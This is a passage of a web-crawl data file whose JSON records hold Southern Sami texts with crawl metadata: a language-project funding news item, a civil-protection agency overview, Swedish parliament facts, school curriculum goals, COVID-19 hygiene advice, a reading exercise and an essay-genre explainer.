lohkehtæjjah ektesne saemiestieh. Daate akte lissiehtasse dan sïejhme ööhpehtæmman maadthskuvlesne. Juktie saemiengïeleldh areaanah sjugniedidh gusnie åarjelsaemien eadtjohkelaakan åtnasåvva ulmie lea åtnoem åarjelsaemien gïeleste nænnoestehtedh jïh lissiehtidh Røros-regijovnesne. Praahken skuvle råajvarimmide tjïrrehte Aajege Saemien gïele- jïh maahtoejarngine ektine Rørosesne.\nSaemiedigkiepresidente Aili Keskitalo tuhtjie vihkeles gïele-areenajgujmie, gusnie gïelem jïh kultuvrem jielehte, gorrede jih nænnoestahta.\n– Joekoen vihkeles Røros-regijovnesne, gusnie åarjelsaemien gïele ij naan iemie sijjiem byögkeles institusjovni ålkoli utnieh, Keskitalo jeahta.\nLissine saemiedigkieraerie lissiedåarjoem vadta 300 000 kråvnine Trööndelagen fylhkentjïeltese, Aajege saemien gïele- jih maahtoejarngen baaktoe Rørosesne juktie prosjektem «Saamastalledh» tjïrrehtidh, mij akte stoerre prosjekte gusnie govhte åarjelsaemien institusjovnh laavenjostoeh.\nUlmie lea vuekiem evtiedidh kommunikatijve gïelelïeremisnie, evtiedimmie lïeremevierhtijste jïh maahtoem lutnjedh vuekien bïjre lohkehtæjjide mah saemien gielesne ööhpehtieh.\nSaemiedigkiepresidente tuhtjie vihkeles åarjelsaemien prosjekth dåarjoehtidh.\n– Joekoen vihkeles åarjelsaemien learoevierhtieh gååvnesieh, vuekieh dorjesuvvieh gïelelïerehtæmman jïh maahtoe lohkehtæjjaj gaskem læssene. Dïhte sjïere prosjektesne «Saamastalledh» lea daate lea laavenjostoe gelliej åarjelsaemien institusjovni gaskem, Keskitalo jeahta.","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/rorosnytt.no\/daarjoe-aarjelsaemien-gieleprosjektide\/","date":"2020-08-06T02:12:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439735990.92\/warc\/CC-MAIN-20200806001745-20200806031745-00268.warc.gz","language":"sma","language_score":0.9999781847,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999781847000122}","num_words":202,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.134,"stopwords_ratio":0.129,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dah gyhtjelassh mejgujmie MSB jïjnje barka lea berkemedïenesjinie, riejriesvoetine ovlæhkoej vööste, krijseryöjrehtimmine, sivijlen vaarjelimmine, cybervihtiesvoetine jïh vihties kommunikasjovnigujmie. Mijjieh aaj gïetedibie krijsh mah sjidtieh jïh internasjonaalen barkoej tjïrrehtibie. MSB riejriesvoetem åtna abpe dygnem, abpe jaepiem guktie maahta maam akt darjodh jis maam akt deahpadidh daesnie jallh ålkone veartanisnie.\nMijjieh mubpide daarpesjibie jis maehtebe mijjien barkoem darjodh – tjïelth, laantedigkieh, leeneståvroeh, åejvieladtjh, organisasjovnh, aktegs almetje – gaajhkh sov dïedtem åtna jïh mijjieh ståvrobe jïh dåarjobe gusnie akt daarpesjidh. Dam mijjieh darjobe ööhpehtimmine, haarjanimmine, raeriejgujmie, njoelkedassine jïh beetnehvierhtine.\nMSB fokusem åtna vaahrah jïh viesjiesvoeth siebriedahkesne vaeniedidh. Dan gaavhtan mijjieh goerehtibie maam maahtah deahpadidh jïh soejkesjidh guktie ij deahpedh. Mijjieh evtiedibie, nænnoestibie, ektiedibie jïh vuesiehtibie siebriedahken maahtoem dam gïetedidh jis dïhte deahpadidh. Dïhte daerpies bijjievuajnoe åadtjobe gaskem jeatjah tjåanghkenamme nasjonaale bijjieguvvieh darjodh. Muvhtene daarpesje lissie tjïrkesvoeth goh helikopteredåarjoeh jallh ekspertedåarjoeh. Dellie MSB åtna gellie ovmessie såarhth lissievierhtieh jïh aaj åtna materijaalh jïh barkijh.\nMSB aaj veartanisnie barka jielemh berkedh jïh nïerine viehkiehtidh krijsesne jïh dåarojne laantine jïh jeatjah laanth viehkiehtidh krijsh åvtelhbodti vuekine barkedh.\nGosse deahpadimmie jïjnjh almetjh tsavtsa lea kommunikasjovne vihkeles. Mijjieh voejhkelibie dan jïjnjh goh maehtebe govlesadtedh sjyöhtehke bïevnesigujmie gellie ovmessie webbesijjiej jïh sosijaale mediji tjïrrh govlesadtedh jïh medije maehtieh mijjine govlesadtedh. Mijjieh aaj gaskeviermiem utnebe mubpiej åejvieladtjigujmie gusnie mijjien dïjrem ektiedibie.\nOvlæhkoej jïh krijsi mænngan vihkeles goerehtidh maam lea deahpadamme jïh destie lïeredh. Dotkeme, statistihke jïh vuarjasjimmieh leah vuesiehtimmieh guktie MSB daam dorje.","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/www-edit.msb.se\/sv\/om-msb\/information-pa-andra-sprak\/sydsamiska\/","date":"2020-08-04T20:09:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439735882.86\/warc\/CC-MAIN-20200804191142-20200804221142-00215.warc.gz","language":"sma","language_score":0.9999916553,"language_script":"Latn","minhash_cluster_size":26,"top_langs":"{\"sma_Latn_score\": 0.9999916553497314}","num_words":231,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.117,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Man gellieh lihtsegh rijhkebiejjesne tjahkan? Rijhkebbiejjesne leah 349 rijhkebiejjielihtsegh. Dah 349 rijhkebiejjiesijjieh sjiehtesjieh dej partiji gaskems, daan mietie man gellieh gielh veeljemisnie åådtjeme. Lohkh vielie daaroen: Val till riksdagen (lättläst) Val till riksdagen Valmyndighetens webbplats Man gellieh ålmah jih nyjsenäjjah rijhkebiejjesne leah? Sveerjen rijhkebiejjie jijnjeb nyjsenäjjah åtna goh jeatja paarlamenth. 46,1 procenth. Guktie maahta rijhkebiejjielihtseginie sjidtedh? Magkeres kriepesje daerpies goh lihtseginie Sveerjen rijhkebiejjesne sjidtedh? Jis rijhkebeajjan maahtah veeljesovvedh dellie tjoerh reaktam utnedh rijhkebeajjan gielem vedtedh. Naemhtie tjoerh sveerjen veasoejinie årrodh jih aaj 18 jaepieh illeme. Datne tjoerh aaj naan politije paartijeste raeriestimmiem åådtjeme jih dej veeljeme-leahpesne tjåadtjodh. Buerie jis datne lihtseginie aktene partijesne jih aaj paartijebarkojne barkeme. Dellie veeljeme almetji gielh vuesehte giem rijhkebiejjielihtseginie edtja sjidtedh jallh ij. Aktem gielem maahta barre partijese jallh gåabpegh partije- jih sjiere åvtelikroesset-almetjasse veeljemelästosne biejedh. Lohkh vielie daaroen: Vilka får vara med i riksdagen? (lättläst) Vilka får vara med i riksdagen? Valmyndighetens webbplats Sa fiton një deputet parlamenti? Man stoerre baalhkah rijhkebiejjielihtsegidie? Rijhkebiejjien lihtsegi baalhkah leah 68 400 krovnah asken. Lihtsegh jijtjh skaehtiem baalhkan åvteste maeksieh. Lohkh vielie daaroen: Ekonomiska villkor Man jijnjh rijhkebiejjielihtsege barka jih guktie barkoebiejjie vååjnoe? Ij leah rijhkebiejjielihtsegen laavenjassh seamma siejhme barkoe goh jeatjebie barkoehaejkine. Dannasinie barkoehaejkieh jeatjhligkie almetjistie almetjasse. Mohte gellieh dejstie lihtsegijstie jiehtieh ahte dej barkoeh leah gujht medtie 60–70 täjmoeh våhkosne. Barkoebiejjie jeatjhligkie lea. Stoerre boelhkh dejstie barkojste sjädta tjåanghkojne dej mubpiej lihtsegigujmie, moenehtsi- partijedåehki- jih aaj veeljemealmetji-, åårganisasjovni-, reeremi- jih jijnjh jeatjebigujmie. Jijnjh boelhkh daarpesjieh lohkedh jih ussjedidh dej raeriej bijre mej gujmie moenehtsh leah barkeminie jih dan mietie raeriestidh maam edtjieh tjiehtjelisnie nännoestidh. Lohkh vielie daaroen: Så arbetar ledamöterna Mah dah rijhkebiejjiepartijh jih magkeres politijkem utnieh? Daah partijh leah rijhkebiejjesne jih man gellieh lihtsegh dej: Socijaldeemovkratij leah 100 lihtsegh Moderadte tjåanghkoepaartijen leah 70 lihtsegh Sveerjendemokratah leah 62 lihtsegh Centerpaartijen leah 31 lihtsegh Vänsterpaartijen leah 27 lihtsegh Kristdeemovkratij leah 22 lihtsegh Folkpartijen liberalerna leah 19 lihtsegh Miljöpaartijen de gröna leah 16 lihtsegh Paartijij ovmessieh webbsijjieine bievnesjh gååvnesie dej gyhtjelassi bijre mah vuesehtieh gusnie politijkesne tjåadtjoeminie. Lohkh vielie daaroen: Så arbetar partierna","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/www.riksdagen.se\/sma-SE\/sprak\/other-languages\/aarjelsaemien-sydsamiska\/lihtsegh-jih-partijh\/","date":"2020-09-27T17:54:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400283990.75\/warc\/CC-MAIN-20200927152349-20200927182349-00302.warc.gz","language":"sma","language_score":0.9997028112,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9997028112411499}","num_words":320,"character_repetition_ratio":0.094,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.106,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"- Ulmie\n- Faagen åejvieboelhkh\n- Man gellie tæjmoeh\n- Faagen maadth maahtoeh\n- Maahtaldahkeulmieh\n- Faagem vierhtiedidh\nMaahtoeulmieh 4. daltesen mænngan\nGïelelïerehtimmieMål for opplæringen er at eleven skal kunne\n- daejredh gåessie maahta nuhteligs jallh daerpies eengelskem maehtedh\n- soptsestidh guktie satne barka eengelskem lïeredh\n- hedtieh gaavnedh baakoej jïh lahtestimmievuekiej gaskem eengelsken gïelesne jïh jïjtse ietniengïelesne\n- digitaale vierhtieh jïh jeatjah viehkiedïrregh nuhtjedh gïelegoerehtimmesne\nNjaalmeldh govlesadtemeMål for opplæringen er at eleven skal kunne\n- aelhkie goltelimmie- jïh soptsestimmievuekieh nuhtjedh\n- goltelidh jïh guarkedh baakoej jïh lahtesi mïelem dehtie ektiedimmeste gusnie dah leah åtnasovveme\n- guarkedh jïh nuhtjedh eengelske baakoeh, lahtesh jïh raajesemaallh mah leah ektiedamme jïjtse daerpiesvoetide jïh domtesidie, aarkebeajjan, eejehtallemasse jïh ïedtjide\n- åejviesisvegem guarkedh rijmine, raajrojne, laavloeminie, heamturinie jïh soptsesinie\n- såemies dåajmijes lahtesh jïh aelhkie jiehtegh nuhtjedh juktie viehkiem åadtjodh guarkedh jïh guarkeme sjïdtedh\n- meatan årrodh aarkebiejjien soptsestimmine gietskies byjreski jïh jïjtse dååjresi bïjre\n- dam eengelske aalfabetem jiehtedh jïh nommh jïh sijjienommh staavadidh\n- guarkedh jïh nuhtjedh baakoeh mah leah ektiedamme åaside, veahkide, hammojde jïh stoeredahkide gosse aarkebiejjien, eejehtallemen jïh ïedtji bïjre soptseste\nTjaaleldh govlesadtemeMål for opplæringen er at eleven skal kunne\n- aelhkie lohkeme- jïh tjaelemevuekieh nuhtjedh\n- ektiedimmiem guarkedh eengelske gïeletjoeji jïh bokstaavi gaskem, jïh tjoejh tjåanghkan giesedh baakose\n- mïelem baakojste jïh lahtesijstie guarkedh dehtie ektiedimmeste gusnie dah leah åtnasovveme\n- eengelske baakoeh jïh lahtesh lohkedh, guarkedh jïh tjaeledh mah leah ektiedamme jïjtse daerpiesvoetide jïh domtesidie, aarkebeajjan, eejehtallemasse jïh ïedtjide\n- åejviesisvegem guarkedh aelhkie tjaaleginie åehpies aamhtesi bïjre\n- åenehks tjaalegh tjaeledh mïeli jïh ïedtji bïjre, jïh mah buerkiestieh, gihtjieh jïh vaestiedieh\n- naan sïejhme smaavebaakoeh nuhtjedh jïh aelhkie staavadimmie- jïh raajesemaallh\n- digitaale dïrregh nuhtjedh juktie bïevnesh ribledh jïh eksperimenteradidh tjaalegem sjugniedidh\nKultuvre, siebriedahke jïh lidteratuvreMål for opplæringen er at eleven skal kunne\n- såemies vuesiehtimmieh vedtedh eengelskegïelen laantine jïh åehpies almetjh debpede\n- soptsestidh såemies bieliej bïjre ovmessie jieledevuekijste, aerpievuekijste jïh skihkijste eengelskegïelen laantine jïh Nöörjesne\n- meatan årrodh eengelskegïelen rijmh, raajroeh, laavlomh, åenehks teaterestuhtjh jïh soptsesh åehpiedehtedh\n- jïjtse åssjaldahkh jïh mïelh buektedh gosse åehpies sjædta eengelskegïelen lidteratuvrine jïh maanakultuvrine\n- jïjtse tjaalegh darjodh mah leah skreejreme eengelskegïelen lidteratuvreste jïh maanakultuvreste\nSide 7 Av 11","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/www.udir.no\/kl06\/ENG1-03\/Hele\/Kompetansemaal\/maahtoeulmieh-4.-daltesen-maenngan?lplang=http:\/\/data.udir.no\/kl06\/sma","date":"2020-09-18T08:22:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400187354.1\/warc\/CC-MAIN-20200918061627-20200918091627-00539.warc.gz","language":"sma","language_score":1.0000066757,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000066757202148}","num_words":324,"character_repetition_ratio":0.074,"word_repetition_ratio":0.025,"special_characters_ratio":0.143,"stopwords_ratio":0.176,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dabpenh jovnesh jïh vaeltieh dïedtem\nDle gaajhki dïedte suetiem covid-19 heerredh. Dabpenh jovnesh dovne gåetesne jïh olkene.\nÅrroeh gåetesne jis skïemtjes\nÅrroeh gåetesne barkoste jallh skuvleste jis skeamtjoeh jïh sovhtine, gossehts jallh vaejliem åtnah. Dellie sohte maahta mubpide laanestidh. Aaj jis ih leah ålvas skïemtjes.\nÅrroeh gåetesne dan guhkiem datne skïemtjes. Jis vïerrebe sjædta jïh ih jïjtjehoksine gåetesne starnedh maahtah rïngkedh 1177 skïemtjehokseraeriej mietie (sveerjen- jallh englaantengïelesne\/på svenska och engelska):\nVuertieh unnemes göökte dygnh mænngan starnih åvteli bååstide barkose jallh skuvlese vualkah. Maahtah barkose jallh skuvlese vuelkedh jalhts barre gossh jis tjïjhtje biejjieh vaaseme mænngan skeamtjoejih jïh ih leah guktie gænnah skïemtjes unnemes göökte dygnine orreme.\nVoeresh stuerebe vaahresne ålvoeslaakan skeamtjodh. Datne gie voeresehoksesne barkh ih edtjh barkose vuelkedh jis domth guktie gænnah skïemtjes.\nVueptesth covid-19:n symtomide\nCovid-19 skïemtjelassen symtomh leah evtemes vaejlie jïh gossehtahke. Aaj jis hapkesh, sovhtine, njuenie domhpene, tjovve bååktjege, åejjieh saejriedieh, gaksjehtasse, åedtjie- jïh lïhtsenaavlehts aaj daamhtaj symtomh. Jeenjemesh åadtjoeh lijnies vaejvieh mejstie buarenh. Naakenh åadtjoeh joekoen vaejvieh vuesiehtimmieh hïeteme jïh gåblojste. Jis naan dejstie symtovmh damth aellieh mubpieh dïervesjh.\nBïssh gïetide\nDah ïebnh mestie sohte laanestieh gaaje suetiedihks jïh aelhkieslaakan gïetide dabranieh. Dah vïjrebe laanestieh jis naakenen gïetem vaaltah. Dan gaavhtan edtjh gïetede bïssedh, tjoeline jïh baahkes tjaetsine unnemes 20 sekundh.\nIktegisth gosse gåatan jallh dov barkose båatah edtjh gïetide bïssedh, åvtelen byöpmedh, gosse beapmoeh jurjehth jïh mænngan ohtjegåetesne orreme. Gïetesprïjhte hijven jis ij tjaetsie gååvnesh gosse gïetide bïssedh.\nGïetesprïjhte\nJis ij tjoele jïh tjaetsie gååvnesh, maahtah gïetesprïjhtem nuhtjedh man unnemes 60 proseenth alkohovline.\nGossehth jïh gesnesth gïete-gaavese\nGosse gossh jïh gesnesth trahpetjh sohtine haasenieh maahta laanestidh. Jis gossh jïh gesnesth gïete-gaavese jallh paehperenjaamelijnien sïjse dellie suetiem heerh olles dov lïhkesvoetese haasene jallh dov gïetide dabrenh. Iktegisth edtjh paehpere-njaamelijniem haaskoelæhtan hajkelidh jïh gïetide bïssedh.\nAellieh tjelmide, njueniem jïh njaelmiem doehtehth\nSuetie laaneste tjelmiej, njuenien jïh njaelmien njevlieskïelti mietie. Aellieh tjelmide, njueniem jïh njaelmiem doehth.","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/www.folkhalsomyndigheten.se\/smittskydd-beredskap\/utbrott\/aktuella-utbrott\/covid-19\/skydda-dig-och-andra\/information-pa-olika-sprak\/sydsamiska\/","date":"2020-09-25T01:44:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400221382.33\/warc\/CC-MAIN-20200924230319-20200925020319-00115.warc.gz","language":"sma","language_score":1.0000001192,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"sma_Latn_score\": 1.0000001192092896}","num_words":306,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.082,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daennie sæjrosne laavenjassh lohkeme-tjaalegi bïjre.\nBaajh guvviem jieledh!\nUssjedh akte måaladamme guvvie meehti dan jïjnjh almetjh gåaskodh. Altan tjïelte dongki jïh maeksieji ihke Anders Sunna jïh Linda \"Zina\" Aslaksen edtjigan graffitijem måaladidh vïedtjesne aktene noere-skuvlesne. Daate måaladamme guvvie lea gaajh stoerre, 14 meeterh jollehke jïh 18 meeterh gamte.\nDaate tjuara sån akte dejstie stööremes saemien måaladamme guvvijste årrodh. Jïh daelie gaajhkesh dovnesh daam måaladamme guvviem digkiedieh. Men gaajhkesh hov daejrieh Anders Sunna lea åehpies dan åvteste digkiedimmiem sjugnede sov tjeahpojne. Guktie gosse Altan tjïelte satnem birri måaladidh dellie sån aaj tjoerin daejredh maam darjoejin.\nJeenjesh eah daam måaladamme guvviem lyjhkh, jïh sijhtieh guvvie edtja vïedtjeste vaaltasovvedh jallh jeatjahtovvedh. Mubpieh billieh daate måaladamme guvvie edtja saemide tsevtsedh!!! Men saatnan!!!! Maam mijjen bïjre vienhtieh????? Baajh guvviem årrodh. Ajve akte guvvie.\nAnna Nilsen\n1. laavenjasse\nLohkh plaerie-tjaalegem \"Baajh guvviem jieledh!\" maam Anna Nilsen lea tjaaleme jïh vaestedh gyhtjelasside.\n- Man bïjre lohkije-tjaalege?\n- Mij Anna Nilsenen vuajnoe daan aamhtesen bïjre?\n- Dïhte tihtelem veeljeme mij hijvenlaakan sjeahta? Man åvteste (ij)?\n- Tjuvtjedh baakojde jïh dïejvesidie mah tjïertestieh guktie dïhte digkede.\n- Gïese tjaala sov tjaalegisnie?\n- Sïjhth buektiehtidh ulmie-dåehkiem jaehkiehtidh? Man åvteste (ij)?\n2. laavenjasse\nVaestedh Anna Nilsenen tjaalegem.\nVeeljh aktem daejstie råållijste:\n- graffiti-tjiehpiedæjja\n- pensjovniste 70 jaepien båeries\n- tjirkije aktede nöörjen politihkeles krirreste\n- tjeahpoeskuvle-lohkehtæjja, 25 jaepien båeries\nArtihkeleKjernestoff\nFaage-tjaalegeKjernestoff\nVïjhteboelhke-vuekien bïjreKjernestoff\nEssayeKjernestoff\nGuktie lohkije-tjaalegem tjaeledhKjernestoff\nGærja-ållermaehtemhKjernestoff\nFilme-ållermaehtemeKjernestoff\nGaajh tjarke histovrijetæjmoe GaupesteKjernestoff\nKååserije jïh petiteKjernestoff\nKååserijeKjernestoff\nKronihkeKjernestoff\nFilme OfelašKjernestoff\nGuktie tjaalegem jïh filmem viertiestidhKjernestoff\nKronihke: Vaajmoe-gïeleKjernestoff\nLaavenjassh: ArtihkeleKjernestoff\nLaavenjassh: Faage-tjaaleghKjernestoff\nLaavenjassh essayi bïjreKjernestoff\nLaavenjassh filme-ållermaehtiemasseKjernestoff\n- Kjernestoff\nTjaelieh ållermaehtememKjernestoff\nLaavenjassh: Mijjen jïjnjh gåetiehKjernestoff\nLaavenjassh akten kååserijeseKjernestoff\nLaavenjassh teemese kååserijeKjernestoff\nLaavenjassh: Kronihki bïjreKjernestoff\nLaavenjassh kronihkeseKjernestoff\nMaam kronihken bïjre måjhtah?Kjernestoff\nLaavenjassh: TjuvrieKjernestoff\nLaavenjassh filmese OfelašKjernestoff\nViertesth tjaalegem jïh filmemKjernestoff","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181819\/topic:1:182389\/resource:1:178878","date":"2020-09-22T18:23:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400206329.28\/warc\/CC-MAIN-20200922161302-20200922191302-00351.warc.gz","language":"sma","language_score":0.9998480082,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9998480081558228}","num_words":270,"character_repetition_ratio":0.135,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.089,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"- Ulmie\n- Faagen åejvieboelhkh\n- Man gellie tæjmoeh\n- Faagen maadth maahtoeh\n-\nMaahtaldahkeulmieh\n- Maahtoeulmie 2. jaepiedaltesen mænngan\n- Maahtoeulmie 4.jaepiedaltesen mænngan\n- Maahtoeulmie 7. jaepiedaltesen mænngan\n- Maahtoeulmie 10.jaepiedaltesen mænngan\n- Maahtoeulmie Jåa1 mænngan- studijeryöjreden ööhpehtimmieprogrammh\n- Maahtoeulmie Jåa1 mænngan – barkoefaageles ööhpehtimmieprogrammh\n- Maahtoeulmie Jåa3 mænngan- lissiebigkeme sïejhme studijemaahtose\n- Faagem vierhtiedidh\nMaahtoeulmie Jåa1 mænngan – barkoefaageles ööhpehtimmieprogrammh\nDotkijassaMål for opplæringen er at eleven skal kunne\n- soejkesjidh jïh tjirrehtidh ovmessie såarhts goerehtimmieh juktie damtijidh variabelh, veedtjedh jïh gïetedidh daatah jïh reektehtsem tjaeledh gusnie digkede jueriem möölehtimmeste jïh vuarjasjidh mejtie fiejliegaaltijh\nMonnehke evtiedimmieMål for opplæringen er at eleven skal kunne\n- buerkiestidh dïejvesem monnehke evtiedimmie\n- faktovrh buerkiestidh mah illedahkh vedtieh akten populasjovnen stoeredahkese, jïh vuesiehtimmieh vedtedh mah jarkelimmieh orreme flora'sne jïh fauna'sne noerhtedajvine\n- goerehtalledh mah vaaroeh jïjtje veeljie jïh faageles jïh etihkeles argumenteradidh dej veeljemi bïjre mah maehtieh viehkiehtidh aktine monnehke åtnoemaalline\n- suksesjovneprosessh aktene ekosystemesne goerehtidh jïh buerkiestidh\nBeapmoe jïh healsoeMål for opplæringen er at eleven skal kunne\n- buerkiestidh dah vihkielommes energijevedtije fearoe-aamhth, dej kjemiske væhtah jïh buerkiestidh man åvteste dah vihkeles kråahpese\n- vuesiehtimmieh vedtedh mah vitamijnh, mineraalh jïh sporstoff kråahpe daarpesje, jïh guktie maahta aktem jeereldihkie beapmoevuekiem hoksedh\n- aelhkie kjemiske voejhkelimmieh darjodh juktie fearoe-aamhth vuesiehtidh beapmojne, jïh buerkiestidh maam vïhtesjamme\n- åejviebiehkide buerkiestidh beapmoesjalkemen (fordøyelse), transporten jïh jeatjahtehtemen bïjre energijevedtije fearoe-aamhtijste kråahpesne\n- såemies åejviebielieh buerkiestidh kosmetiske dorjesinie jïh aktem dagkeres dorjesem darjodh jïjtse vaaroedeklarasjovnine\n- digkiedidh gyhtjelassh seagkanimmien, byöpmedimssturremen jïh saavremen bïjre, jïh guktie jieledevuekie healsoem tsevtsie\nEnergije båetijen aajkanMål for opplæringen er at eleven skal kunne\n- voejhkelimmieh darjodh biejjiecellajgujmie, biejjiefeengkijigujmie jïh baahkedimmiepumpajgujmie, buerkiestidh guktie dah fungeradieh jïh aelhkie aerviedimmieh darjodh man stoerre nåhtoe lea\n- buerkiestidh ovmessie såarhts åtnoem biomasseste goh energijegaaltije\nSide 11 Av 13","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/www.udir.no\/kl06\/NAT2-03\/Hele\/Kompetansemaal\/maahtoeulmie-jaa1-maenngan-%E2%80%93-barkoefaageles-%C3%B6%C3%B6hpehtimmieprogrammh?lplang=http:\/\/data.udir.no\/kl06\/sma","date":"2020-09-19T10:07:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400191160.14\/warc\/CC-MAIN-20200919075646-20200919105646-00083.warc.gz","language":"sma","language_score":0.9999839067,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999839067459106}","num_words":258,"character_repetition_ratio":0.093,"word_repetition_ratio":0.008,"special_characters_ratio":0.14,"stopwords_ratio":0.112,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Essaye akte tjaaleldh sjangere maam plaerine, våhkoe-plaerine jïh gærjine gaavnebe. Maehtebe dan åvteste essayem gåhtjodh meedija-sjangere. Teekste beagkoehtamme sjædta maasse-meediji tjïrrh, jïh lea ussjedamme byögkelesvoetese.\nSlïekte kååserijine\nKååserijen jïh essayen leah jienebh hedtie-væhtah. Dovne kååserije-tjaelije jïh essaye-tjaelije sov teeman bïjre tjaelieh subjektijvelaakan. Gåabpatjahki leah mïelh jïh vuajnoeh mejtie sijhtieh buektedh, jïh gåabpatjahkh leavloem biejieh akten voerkes gïele-åtnose mejnie veelelaakan barkeme. Men aalkoelistie kååserije lea akte njaalmeldh sjangere, jïh dan åvteste veanhtadibie gïele edtja aelhkie jïh njaalmeldh årrodh. Essaye vuestelen iktesth akte tjaaleldh teekste orreme. Lissine dle essaye-tjaelije teemam veelebelaakan gïetede goh kååserije-tjaelije.\nPryövije tjaeleme\nAkte essaye maahta daejremes jallh filosofeles årrodh, moraalen bïjre jallh vielie aarke-biejjien teemaj bïjre årrodh. Åssjele lea teemese geatskanidh ovmessie otnjegijstie. Gosse essayem gieriesvoeten bïjre tjaelebe, maehtebe vuesiehtimmien gaavhtan aati bïjre tjaeledh goh jïjtse vïhtesjimmieh, dikth jïh jeatjah tjiehpies-lidteratuvre, dïejvesh, filosofeles ussjedallemh jallh dotkeme-illedahkh siebriedahke- jallh eatneme-daejriemistie. Essaye-tjaelije gellien aejkien pryövoe, jïh ij daarpesjh ussjedidh satne byöroe akten vihties öörnegen mietie tjaeledh jallh reaktoelaakan argumenteradidh. Lohkije åådtje meatan årrodh aktene åssjaldahke-prosessesne, jïh tjaelijen vaanterdimmesne dåeriedidh teeman tjïrrh. Dïhte mij essayem tjaala vuajnoeh åtna jïh dej åvteste argumenterede, men ulmie ij leah iktesth akten tjïelke konklusjovnese båetedh. Essaye-tjaelije tuhtjie vihkielommes ektiedimmieh vuesiehtidh mejtie almetjh eah ussjedh, dïhte sæjhta ierielidh jïh lohkijem tjabrehtidh jïjtje ussjedidh.\nLeavloe dan gïeleldh soptsestimmie-vuakan\nEssaye-tjaelie edtja gïeline stååkedidh jïh dejtie viehkie-vierhtide nuhtjedh mah gååvnesieh. Dïhte aaj maahta frijjelaakan veeljedh guktie teekstem tseegkie jïh man öörnegen mietie dïhte gaajhkem tjaala. Daamtaj maahta vååjnedh goh tjaelije ajve doh åssjaldahkh dåerede mejtie åådtje mearan tjaelieminie. Læjhkan iktesth aktem soejkesjem åtna, jïh dïhte mij vååjnoe goh tjaelije ajve saaht maam tjaaleme, dan bïjre rïektesisnie veele ussjedamme.\nKrïevenassh tjaeliejasse jïh lohkijasse\nEssaye-tjaelije edtja laejhtehks årrodh saetniesvoetide jïh mïelide. Dïhte tjuara nuekies dååjrehtimmieh jïh daajroeh utnedh ihke lohkije edtja ïedtjem åadtjodh. Lissine tjaelije aaj daamtaj aervede lohkije akte maehteles almetje.\nGöökte åejvie-såarhth\nEevre mænngan essaye-sjangere sjugniesovvi 1500-låhkoen, akte tjïelke raaste orreme dej göökte åejvie-såarhti gaskem, persovneles essaye jïh aamhtese-essaye.\nAamhtese-essaye\nSaakeles argumentasjovne naa stoerre sijjiem åådtje aamhtese-essayisnie. Tïjje doekoe dle aamhtese-essaye jiene-jienebe gahtanamme dan daejremes tjaalegasse, striengkiesåbpoe krïevenassine gaaltije-bïevnesidie jïh ovpersovneles gïele-åtnose.\nPersovneles essaye\nPersovneles essayisnie tjaelije maahta subjektijve åssjaldahki bïjre tjaeledh. Tjaelije ij læjhkan råållam utnieh goh privaate almetje, dïhte edtja maehteles soptsestæjjine årrodh. Dååjrehtimmieh jïh jeatjah bïevnesh edtjieh meatan årrodh juktie vielie teeman bïjre jiehtedh.\nAkte sjangere gellide – jallh gaajhkesidie?\nJohan Tønnesson, professovre aamhtese-provsesne Oslon universiteetesne, essayem ållermaahta gærjesne Hva er sakprosa? (2008) (Mij aamhtese-provsa?). Gaskem jeatjah dïhte veanhta såemies essaye-tjaelijh uvtemes akten onne, akademihkeles ööhpehtamme åålmegasse tjaala. Dah tuhtjieh vihkielommes jååhkesjimmiem åadtjodh daan onne lohkije-dåehkien luvnie goh stuerebe lohkije-dåehkieh jaksedh. Tønnesson tuhtjie daate lea nåake, juktie jienebh lin byöreme aavoem dååjredh essayem lohkedh jïh tjaeledh. Tønnesson tuhtjie ij leah dan vihkeles såemies aerpie-vuekien, akademihkeles sjangere-bïhkedassem fulkedh eevre guktie tjåådtje. Vuestelen tuhtjie vihkeles dam essayeligke tjaeleme-vuekiem 